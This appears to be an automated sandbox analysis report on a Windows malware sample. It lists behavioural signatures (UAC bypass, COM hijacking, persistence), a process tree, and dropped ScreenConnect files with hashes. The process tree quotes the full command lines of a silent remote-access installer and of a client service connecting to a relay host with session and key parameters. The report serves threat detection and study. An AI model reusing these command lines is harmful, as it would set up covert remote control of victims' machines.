Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/11/2026, 06:14

General

  • Target
    2026-11-01_de96c8df2ee43e72ed7e1dd98e23252d_amadey_darkgate_glassworm_luca-stealer_njrat_ransomhub_remcos_smoke-loader.exe
  • Size 4.2MB
  • Sample261102-gzmp8sec48
  • SHA256 96f512bcf7616a44963fae71dad2951b7c6702b2617b03a09843a106d1e05db8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 2 IoCs
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 26 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Windows directory 26 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-01_de96c8df2ee43e72ed7e1dd98e23252d_amadey_darkgate_glassworm_luca-stealer_njrat_ransomhub_remcos_smoke-loader.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-01_de96c8df2ee43e72ed7e1dd98e23252d_amadey_darkgate_glassworm_luca-stealer_njrat_ransomhub_remcos_smoke-loader.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2544
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /i "C:\Windows\Temp\ScreenConnect.ClientSetup.msi" /qn /norestart /L*v "C:\Windows\Temp\sc_msi_install_da3b3567.log"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1584
  • C:\Users\Admin\AppData\Local\Temp\2026-11-01_de96c8df2ee43e72ed7e1dd98e23252d_amadey_darkgate_glassworm_luca-stealer_njrat_ransomhub_remcos_smoke-loader.exe
    C:\Users\Admin\AppData\Local\Temp\2026-11-01_de96c8df2ee43e72ed7e1dd98e23252d_amadey_darkgate_glassworm_luca-stealer_njrat_ransomhub_remcos_smoke-loader.exe
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4700
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /i "C:\Windows\Temp\ScreenConnect.ClientSetup.msi" /qn /norestart /L*v "C:\Windows\Temp\sc_msi_install_0797a227.log"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4236
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4108
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 8DCA7BF500590DA75F70B82E480DEC99
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1004
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSIBB8C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240696265 5 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4488
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 273AEA4809A4D86DDE3F379D60B55484 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:4356
  • C:\ProgramData\E404RemoteSupport\ScreenConnect.ClientService.exe
    C:\ProgramData\E404RemoteSupport\ScreenConnect.ClientService.exe "?e=Access&y=Guest&h=e.e404.us&p=8443&s=ea06cc33-5360-4c80-b116-999d3e8fad60&k=BgIAAACkAABSU0ExAAgAAAEAAQBlCtVR0AYLEb6%2fCgxHzUrwkl9hYE0NCf5n4anURTNyEHTETAsD4gvWBnBPXza3qENHB6BJZxU%2bruxiJd2A7TFX8%2bSyVOokbXtxtapWUD6g0i5Xdt%2frgWuzNPu%2fZLmOjxO00ZunL%2flkNEFD3zdXA4fHyfjIh%2fC9GfU1vtBVx7yguTtlYiNwyejOIv9Ok3eO4iTFNi9t3WE03O3XKlbzA6Zn9ma7Kujvh0ixg9j9SuWIKeJ502lrdBb%2bbpPTMYmNqxnbn0Ljyice2yYNAc%2bGmBjDl7TVO%2bhGmMREvwGijIGeFHCIkYti9tyIqPaDzRx22wePJmqF5jJ8EXbHZsyXxRqw"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4344
    • C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsClient.exe
      "C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsClient.exe" "RunRole" "0aa8f9cc-327b-4fa8-9dd3-f035571bcf34" "User"
      2⤵
      • Executes dropped EXE
      PID:3560
    • C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsClient.exe
      "C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsClient.exe" "RunRole" "f4bba0e5-9b56-4016-922a-96a6040eaa8e" "System"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:5104

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e58b861.rbs

        • Path C:\Config.Msi\e58b861.rbs
        • Size 214KB
        • SHA256 4c399817f13a200a1e4fe41ead525b767d31ee4f6145c5e1581fa75bee5b286b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\ProgramData\E404RemoteSupport\Client.Override.en-US.resources
        • Size 278B
        • SHA256 f00b98bb2ecbf018ed20909993bf2bd9f01cbe45bafca9a48ee002ae364d8185
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\ProgramData\E404RemoteSupport\Client.Override.resources
        • Size 27KB
        • SHA256 c3af7f4841897ac823ac920dd1de94c68e16747fe0fe483b97cd3f13ab072574
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\ProgramData\E404RemoteSupport\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\ProgramData\E404RemoteSupport\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsBackstageShell.exe

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsBackstageShell.exe
        • Size 59KB
        • SHA256 46589e65a4e87dd3ab967e17238bb1102d74e5cf52078b43ca795a67c75ed6d6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsClient.exe
        • Size 580KB
        • SHA256 54122da1882621af349267b06905b256c1a0b1f571a0e8835ec4b8acc35809a2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsFileManager.exe

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsFileManager.exe
        • Size 79KB
        • SHA256 41d9790fa15264d6bb65ef678f6418526e8137ce96bb42e65c6f3a03a8edc360
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsFileManager.exe.config

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsFileManager.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        Tippikk.TransferGuard.dll

        • Path C:\ProgramData\E404RemoteSupport\Tippikk.TransferGuard.dll
        • Size 6KB
        • SHA256 46f563002654f6e064a4680bf82fe21de3812b723a42cec21207d669f395178f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\ProgramData\E404RemoteSupport\app.config
        • Size 2KB
        • SHA256 08654ed703d6ec78087da75ed3eb405ef065e4d26f925fda6595b7d5e79986e2
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\ProgramData\E404RemoteSupport\system.config
        • Size 528B
        • SHA256 3fd61c797ef50eeee7d95d82a9451d455c1140d166379af9a30a3284aa0a1cd2
        • MD5 SHA1 SHA512 TLSH

        MSIBA23.tmp

        • Path C:\Windows\Installer\MSIBA23.tmp
        • Size 325KB
        • SHA256 5cb8886d7405e750a5ab02bcc31c7766db87bb0754bc8adb34485ae50e82e234
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIBB8C.tmp

        • Path C:\Windows\Installer\MSIBB8C.tmp
        • Size 1.0MB
        • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSIBB8C.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSIBB8C.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIC044.tmp

        • Path C:\Windows\Installer\MSIC044.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientSetup.msi

        • Path C:\Windows\Temp\ScreenConnect.ClientSetup.msi
        • Size 3.8MB
        • SHA256 25e9e8681ed60173456fc86e90a88f7e6ec0e9a1ba8e45f1878d9030464e2bd2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sc_msi_install_0797a227.log

        • Path C:\Windows\Temp\sc_msi_install_0797a227.log
        • Size 2KB
        • SHA256 bf9375bc9d4f3836d0c46b10b4383f41d9a97a5f8cbb3b39acbee1a52c0c1094
        • MD5 SHA1 SHA512 TLSH

        sc_msi_install_da3b3567.log

        • Path C:\Windows\Temp\sc_msi_install_da3b3567.log
        • Size 1KB
        • SHA256 32367e08b3d926e76c4001924cafa19f3b8b80a3477f9cadb70623ce411dceff
        • MD5 SHA1 SHA512 TLSH

        uhssvc_install_0797a227.log

        • Path C:\Windows\Temp\uhssvc_install_0797a227.log
        • Size 1KB
        • SHA256 f3a2b092c1ddb7bc627f43d7600cdeddff54c55ed002f20d0aeb1544f26bea7d
        • MD5 SHA1 SHA512 TLSH

        uhssvc_install_0797a227.log

        • Path C:\Windows\Temp\uhssvc_install_0797a227.log
        • Size 615B
        • SHA256 2214e75eef905ee7d07e18223434db769a75b818fce3529ffffa7fc32797f188
        • MD5 SHA1 SHA512 TLSH

        uhssvc_install_0797a227.log

        • Path C:\Windows\Temp\uhssvc_install_0797a227.log
        • Size 861B
        • SHA256 7d3f9794ec7936ad4db866187df1b208e49e0f2c696deb42464262f6139e7c63
        • MD5 SHA1 SHA512 TLSH

        uhssvc_install_da3b3567.log

        • Path C:\Windows\Temp\uhssvc_install_da3b3567.log
        • Size 885B
        • SHA256 53f79ea11ff9f00f558c82107006c9a1b3726e4a3ed939812d21b8ad63ba9c55
        • MD5 SHA1 SHA512 TLSH

        uhssvc_install_da3b3567.log

        • Path C:\Windows\Temp\uhssvc_install_da3b3567.log
        • Size 1KB
        • SHA256 3c1b5979791d48c0c3259616abea097beee84164af143a2d139830f734252068
        • MD5 SHA1 SHA512 TLSH

        uhssvc_install_da3b3567.log

        • Path C:\Windows\Temp\uhssvc_install_da3b3567.log
        • Size 615B
        • SHA256 d0e659390be144a3117fee01525527d28b328082163c41715f3dff14cfe9c925
        • MD5 SHA1 SHA512 TLSH

        memory/2544-229-0x00007FF6F2420000-0x00007FF6F285E000-memory.dmp

        memory/3560-182-0x000000001BDC0000-0x000000001BDC8000-memory.dmp

        memory/3560-181-0x000000001B8D0000-0x000000001B911000-memory.dmp

        memory/3560-173-0x000000001BDD0000-0x000000001BE5E000-memory.dmp

        memory/3560-174-0x000000001C010000-0x000000001C1BC000-memory.dmp

        memory/3560-178-0x000000001C350000-0x000000001C4D6000-memory.dmp

        memory/3560-179-0x0000000001670000-0x0000000001688000-memory.dmp

        memory/3560-180-0x0000000002F80000-0x0000000002F98000-memory.dmp

        memory/3560-171-0x0000000000E30000-0x0000000000EC8000-memory.dmp

        memory/3560-172-0x000000001B890000-0x000000001B8C6000-memory.dmp

        memory/4344-155-0x0000000001DF0000-0x0000000001E08000-memory.dmp

        memory/4344-168-0x0000000004C80000-0x0000000004D55000-memory.dmp

        memory/4344-169-0x0000000004760000-0x0000000004768000-memory.dmp

        memory/4344-162-0x0000000004780000-0x00000000047D0000-memory.dmp

        memory/4344-166-0x0000000004AA0000-0x0000000004B32000-memory.dmp

        memory/4344-167-0x0000000004810000-0x0000000004851000-memory.dmp

        memory/4344-165-0x00000000047D0000-0x0000000004806000-memory.dmp

        memory/4488-84-0x0000000006140000-0x00000000066E4000-memory.dmp

        memory/4488-79-0x00000000057A0000-0x000000000582E000-memory.dmp

        memory/4488-83-0x00000000059E0000-0x0000000005B8C000-memory.dmp

        memory/4488-75-0x0000000003350000-0x000000000335A000-memory.dmp

        memory/4488-71-0x0000000003310000-0x000000000333E000-memory.dmp

        memory/4700-198-0x00007FF6F2420000-0x00007FF6F285E000-memory.dmp

        memory/5104-199-0x0000000002240000-0x0000000002281000-memory.dmp